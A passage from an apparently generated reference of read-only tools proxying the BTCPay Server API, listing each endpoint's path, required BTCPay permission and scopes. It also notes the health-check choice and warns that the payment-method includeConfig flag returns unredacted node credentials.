/api/v1/invoices/{invoiceId}/payment-methods. The API key must carry the BTCPay permission `btcpay.store.canviewinvoices`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/payment-methods. Scopes: btcpay.store.canviewinvoices. btc_pay_server_get_api_v1_invoices_by_invoiceid_refund_by_paymentmethodid (read) — View calculated refund amounts for the specified invoice/payment-method. The store is resolved automatically from the invoice. GET /api/v1/invoices/{invoiceId}/refund/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.cancreatepullpayments`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/refund/{paymentMethodId}. Scopes: btcpay.store.cancreatepullpayments. btc_pay_server_get_api_v1_payment_requests_by_paymentrequestid (read) — View information about the specified payment request. The store is resolved automatically from the payment request. GET /api/v1/payment-requests/{paymentRequestId}. The API key must carry the BTCPay permission `btcpay.store.canviewpaymentrequests`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/payment-requests/{paymentRequestId}. Scopes: btcpay.store.canviewpaymentrequests. btc_pay_server_get_api_v1_payout_processors (read) — Get payout processors available in this instance. GET /api/v1/payout-processors. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/payout-processors. Scopes: api. btc_pay_server_get_api_v1_payouts_by_payoutid (read) — Get payout. GET /api/v1/payouts/{payoutId}. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/payouts/{payoutId}. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_get_api_v1_plan_checkout_by_checkoutid (read) — Retrieves the details of a plan checkout session. GET /api/v1/plan-checkout/{checkoutId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/plan-checkout/{checkoutId}. Scopes: api. btc_pay_server_get_api_v1_pull_payments_by_pullpaymentid (read) — Get a pull payment. GET /api/v1/pull-payments/{pullPaymentId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}. Scopes: api. btc_pay_server_get_api_v1_pull_payments_by_pullpaymentid_lnurl (read) — Get Pull Payment LNURL details. GET /api/v1/pull-payments/{pullPaymentId}/lnurl. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}/lnurl. Scopes: api. btc_pay_server_get_api_v1_pull_payments_by_pullpaymentid_payouts (read) — Get payouts. GET /api/v1/pull-payments/{pullPaymentId}/payouts. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}/payouts. Scopes: api. btc_pay_server_get_api_v1_pull_payments_by_pullpaymentid_payouts_by_payoutid (read) — Get payout. GET /api/v1/pull-payments/{pullPaymentId}/payouts/{payoutId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}/payouts/{payoutId}. Scopes: api. btc_pay_server_get_api_v1_server_email (read) — Retrieve the email settings configured for the server. The password field will be masked if present. GET /api/v1/server/email. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/email. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_get_api_v1_server_info (read) — Information about the server, chains and sync states. GET /api/v1/server/info. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. THE CONNECTION'S HEALTH CHECK, and the probe this provider declares. Chosen because the `API_Key` scheme requires NO permission for it, unlike `GET /api/v1/users/me` (`btcpay.user.canviewprofile`) and `GET /api/v1/api-keys/current` (documented against `btcpay.server.canmanageusers`), either of which would report a perfectly valid store-scoped key as invalid. Also the fastest way to see whether the instance's node and indexer are synced: an unsynced instance answers 200 here while invoice creation behaves oddly. GET /api/v1/btc_pay_server/api/v1/server/info. Scopes: api. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_balance (read) — View balance of the lightning node. GET /api/v1/server/lightning/{cryptoCode}/balance. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/balance. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_channels (read) — View information about the current channels of the lightning node. GET /api/v1/server/lightning/{cryptoCode}/channels. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/channels. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_histogram (read) — View balance histogram of the lightning node. GET /api/v1/server/lightning/{cryptoCode}/histogram. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/histogram. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_info (read) — View information about the lightning node. GET /api/v1/server/lightning/{cryptoCode}/info. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/info. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_invoices (read) — View information about the lightning invoices. GET /api/v1/server/lightning/{cryptoCode}/invoices. The API key must carry the BTCPay permission `btcpay.server.canviewlightninginvoiceinternalnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/invoices. Scopes: btcpay.server.canviewlightninginvoiceinternalnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_invoices_by_id (read) — View information about the requested lightning invoice. GET /api/v1/server/lightning/{cryptoCode}/invoices/{id}. The API key must carry the BTCPay permission `btcpay.server.canviewlightninginvoiceinternalnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/invoices/{id}. Scopes: btcpay.server.canviewlightninginvoiceinternalnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_payments (read) — View information about the lightning payments. GET /api/v1/server/lightning/{cryptoCode}/payments. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/payments. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_lightning_by_cryptocode_payments_by_paymenthash (read) — View information about the requested lightning payment. GET /api/v1/server/lightning/{cryptoCode}/payments/{paymentHash}. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/payments/{paymentHash}. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_get_api_v1_server_roles (read) — View information about the store's roles at the server's scope. GET /api/v1/server/roles. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/server/roles. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_get_api_v1_stores (read) — View information about the available stores. GET /api/v1/stores. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid (read) — View information about the specified store. GET /api/v1/stores/{storeId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_apps (read) — Returns basic app data for all apps for a store. GET /api/v1/stores/{storeId}/apps. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/apps. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_stores_by_storeid_email (read) — Retrieve the email settings configured for specific store. The password field will be masked if present. GET /api/v1/stores/{storeId}/email. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/email. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_stores_by_storeid_invoices (read) — View information about the existing invoices. GET /api/v1/stores/{storeId}/invoices. The API key must carry the BTCPay permission `btcpay.store.canviewinvoices`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/invoices. Scopes: btcpay.store.canviewinvoices. btc_pay_server_get_api_v1_stores_by_storeid_lightning_addresses (read) — Get store configured lightning addresses. GET /api/v1/stores/{storeId}/lightning-addresses. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning-addresses. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_lightning_addresses_by_username (read) — Get store configured lightning address. GET /api/v1/stores/{storeId}/lightning-addresses/{username}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning-addresses/{username}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_balance (read) — View balance of the lightning node. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/balance. The API key must carry the BTCPay permission `btcpay.store.canuselightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/balance. Scopes: btcpay.store.canuselightningnode. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_channels (read) — View information about the current channels of the lightning node. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/channels. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/channels. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_histogram (read) — View balance histogram of the lightning node. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/histogram. The API key must carry the BTCPay permission `btcpay.store.canuselightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/histogram. Scopes: btcpay.store.canuselightningnode. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_info (read) — View information about the lightning node. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/info. The API key must carry the BTCPay permission `btcpay.store.canuselightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/info. Scopes: btcpay.store.canuselightningnode. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_invoices (read) — View information about the lightning invoices. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices. The API key must carry the BTCPay permission `btcpay.store.canviewlightninginvoice`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices. Scopes: btcpay.store.canviewlightninginvoice. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_invoices_by_id (read) — View information about the requested lightning invoice. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices/{id}. The API key must carry the BTCPay permission `btcpay.store.canviewlightninginvoice`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices/{id}. Scopes: btcpay.store.canviewlightninginvoice. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_payments (read) — View information about the lightning payments. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/payments. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/payments. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_get_api_v1_stores_by_storeid_lightning_by_cryptocode_payments_by_paymenthash (read) — View information about the requested lightning payment. GET /api/v1/stores/{storeId}/lightning/{cryptoCode}/payments/{paymentHash}. The API key must carry the BTCPay permission `btcpay.store.canuselightningnode`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/payments/{paymentHash}. Scopes: btcpay.store.canuselightningnode. btc_pay_server_get_api_v1_stores_by_storeid_offerings (read) — Retrieves all offerings associated with the specified store. GET /api/v1/stores/{storeId}/offerings. The API key must carry the BTCPay permission `btcpay.store.canviewofferings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings. Scopes: btcpay.store.canviewofferings. btc_pay_server_get_api_v1_stores_by_storeid_offerings_by_offeringid (read) — Returns a specific offering for a store. GET /api/v1/stores/{storeId}/offerings/{offeringId}. The API key must carry the BTCPay permission `btcpay.store.canviewofferings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}. Scopes: btcpay.store.canviewofferings. btc_pay_server_get_api_v1_stores_by_storeid_offerings_by_offeringid_plans_by_planid (read) — Returns a specific plan for a given offering. GET /api/v1/stores/{storeId}/offerings/{offeringId}/plans/{planId}. The API key must carry the BTCPay permission `btcpay.store.canviewofferings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/plans/{planId}. Scopes: btcpay.store.canviewofferings. btc_pay_server_get_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector (read) — Retrieves a subscriber for a specific offering by customer selector. GET /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}. The API key must carry the BTCPay permission `btcpay.store.canviewofferings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}. Scopes: btcpay.store.canviewofferings. btc_pay_server_get_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector_credits_by_currency (read) — Retrieves the credit balance for a subscriber in the specified currency. GET /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/credits/{currency}. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/credits/{currency}. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods (read) — View information about the stores' configured payment methods. GET /api/v1/stores/{storeId}/payment-methods. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. `includeConfig=true` RETURNS CREDENTIALS FOR THE CUSTOMER'S OWN INFRASTRUCTURE and is not redacted: a lightning payment method's config carries `connectionString`, which routinely embeds a node macaroon, and an on-chain method's carries the wallet's derivation scheme. It is left intact because the matching PUT takes the same value back, so redacting it would break the read-modify-write BTCPay documents -- but do not pass `includeConfig=true` unless the config is what you need, and treat the result as secret when you do. BTCPay gates the flag on `btcpay.store.canmodifystoresettings` for the same reason. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid (read) — View information about the stores' configured payment method. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. Same warning as the listing: `includeConfig=true` can return a lightning `connectionString` (often with a macaroon in it) or a wallet's derivation scheme, unredacted, and BTCPay gates the flag on `btcpay.store.canmodifystoresettings`. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet (read) — View information about the specified wallet. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_address (read) — Get or generate address for wallet. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/address. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/address. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_feerate (read) — Get wallet onchain fee rate. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/feerate. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/feerate. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_histogram (read) — View the balance histogram of the specified wallet. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/histogram. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/histogram. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects (read) — View wallet objects. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects_by_objecttype_by_objectid (read) — View wallet object. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_preview (read) — View addresses of the current payment method of the store. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/preview. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/preview. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_transactions (read) — Get store on-chain wallet transactions. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_transactions_by_transactionid (read) — Get store on-chain wallet transaction. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/{transactionId}. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/{transactionId}. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_utxos (read) — Get store on-chain wallet utxos. GET /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/utxos. The API key must carry the BTCPay permission `btcpay.store.canviewwallet`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/utxos. Scopes: btcpay.store.canviewwallet. btc_pay_server_get_api_v1_stores_by_storeid_payment_requests (read) — View information about the existing payment requests. GET /api/v1/stores/{storeId}/payment-requests. The API key must carry the BTCPay permission `btcpay.store.canviewpaymentrequests`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-requests. Scopes: btcpay.store.canviewpaymentrequests. btc_pay_server_get_api_v1_stores_by_storeid_payout_processors (read) — Get store configured payout processors. GET /api/v1/stores/{storeId}/payout-processors. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payout_processors_lightningautomatedpayoutsenderfactory (read) — Get configured store Lightning automated payout processors. GET /api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payout_processors_lightningautomatedpayoutsenderfactory_by_payoutmethodid (read) — Get configured store Lightning automated payout processors. GET /api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory/{payoutMethodId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/LightningAutomatedPayoutSenderFactory/{payoutMethodId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payout_processors_onchainautomatedpayoutsenderfactory_by_paymentmethodid (read) — Get configured store onchain automated payout processors. GET /api/v1/stores/{storeId}/payout-processors/OnChainAutomatedPayoutSenderFactory/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/OnChainAutomatedPayoutSenderFactory/{paymentMethodId}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payout_processors_onchainautomatedtransfersenderfactory (read) — Get configured store onchain automated payout processors. GET /api/v1/stores/{storeId}/payout-processors/OnChainAutomatedTransferSenderFactory. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/OnChainAutomatedTransferSenderFactory. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_payouts (read) — Get payouts. GET /api/v1/stores/{storeId}/payouts. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/payouts. Scopes: api. btc_pay_server_get_api_v1_stores_by_storeid_pull_payments (read) — Get the pull payments of a store. GET /api/v1/stores/{storeId}/pull-payments. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/pull-payments. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_get_api_v1_stores_by_storeid_rates (read) — Get rates on the store. GET /api/v1/stores/{storeId}/rates. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/rates. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_rates_configuration_by_ratesource (read) — View rate settings for the specified store and rate source (`primary` or `fallback`). GET /api/v1/stores/{storeId}/rates/configuration/{rateSource}. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/rates/configuration/{rateSource}. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_roles (read) — View information about the specified store's roles. GET /api/v1/stores/{storeId}/roles. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/roles. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_stores_by_storeid_users (read) — View users of the specified store. GET /api/v1/stores/{storeId}/users. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/users. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_users_invitations (read) — View pending and expired invitations for the specified store. GET /api/v1/stores/{storeId}/users/invitations. The API key must carry the BTCPay permission `btcpay.store.canviewstoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/users/invitations. Scopes: btcpay.store.canviewstoresettings. btc_pay_server_get_api_v1_stores_by_storeid_webhooks (read) — View webhooks of a store. GET /api/v1/stores/{storeId}/webhooks. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/stores/{storeId}/webhooks. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_api_v1_subscriber_portal_by_portalsessionid (read) — Retrieves the details of an existing subscriber portal session. GET /api/v1/subscriber-portal/{portalSessionId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/subscriber-portal/{portalSessionId}. Scopes: api. btc_pay_server_get_api_v1_users (read) — Load all users that exist. GET /api/v1/users. The API key must carry the BTCPay permission `btcpay.server.canviewusers`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users. Scopes: btcpay.server.canviewusers. btc_pay_server_get_api_v1_users_by_idoremail (read) — Get 1 user by ID or Email. GET /api/v1/users/{idOrEmail}. The API key must carry the BTCPay permission `btcpay.server.canviewusers`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users/{idOrEmail}. Scopes: btcpay.server.canviewusers. btc_pay_server_get_api_v1_users_me (read) — View information about the current user. GET /api/v1/users/me. The API key must carry the BTCPay permission `btcpay.user.canviewprofile`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users/me. Scopes: btcpay.user.canviewprofile. btc_pay_server_get_api_v1_users_me_notification_settings (read) — View information about your notification settings. GET /api/v1/users/me/notification-settings. The API key must carry the BTCPay permission `btcpay.user.canmanagenotificationsforuser`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users/me/notification-settings. Scopes: btcpay.user.canmanagenotificationsforuser. btc_pay_server_get_api_v1_users_me_notifications (read) — View current user's notifications. GET /api/v1/users/me/notifications. The API key must carry the BTCPay permissions `btcpay.user.canmanagenotificationsforuser`, `btcpay.user.canviewnotificationsforuser`, which are chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users/me/notifications. Scopes: btcpay.user.canmanagenotificationsforuser, btcpay.user.canviewnotificationsforuser. btc_pay_server_get_api_v1_users_me_notifications_by_id (read) — View information about the specified notification. GET /api/v1/users/me/notifications/{id}. The API key must carry the BTCPay permissions `btcpay.user.canmanagenotificationsforuser`, `btcpay.user.canviewnotificationsforuser`, which are chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/users/me/notifications/{id}. Scopes: btcpay.user.canmanagenotificationsforuser, btcpay.user.canviewnotificationsforuser. btc_pay_server_get_api_v1_webhooks_by_webhookid (read) — View webhook. GET /api/v1/webhooks/{webhookId}. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_api_v1_webhooks_by_webhookid_deliveries (read) — List the latest deliveries to the webhook, ordered from the most recent. GET /api/v1/webhooks/{webhookId}/deliveries. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}/deliveries. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_api_v1_webhooks_by_webhookid_deliveries_by_deliveryid (read) — Information about a webhook delivery. GET /api/v1/webhooks/{webhookId}/deliveries/{deliveryId}. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}/deliveries/{deliveryId}. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_api_v1_webhooks_by_webhookid_deliveries_by_deliveryid_request (read) — The delivery's JSON request sent to the endpoint. GET /api/v1/webhooks/{webhookId}/deliveries/{deliveryId}/request. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. GET 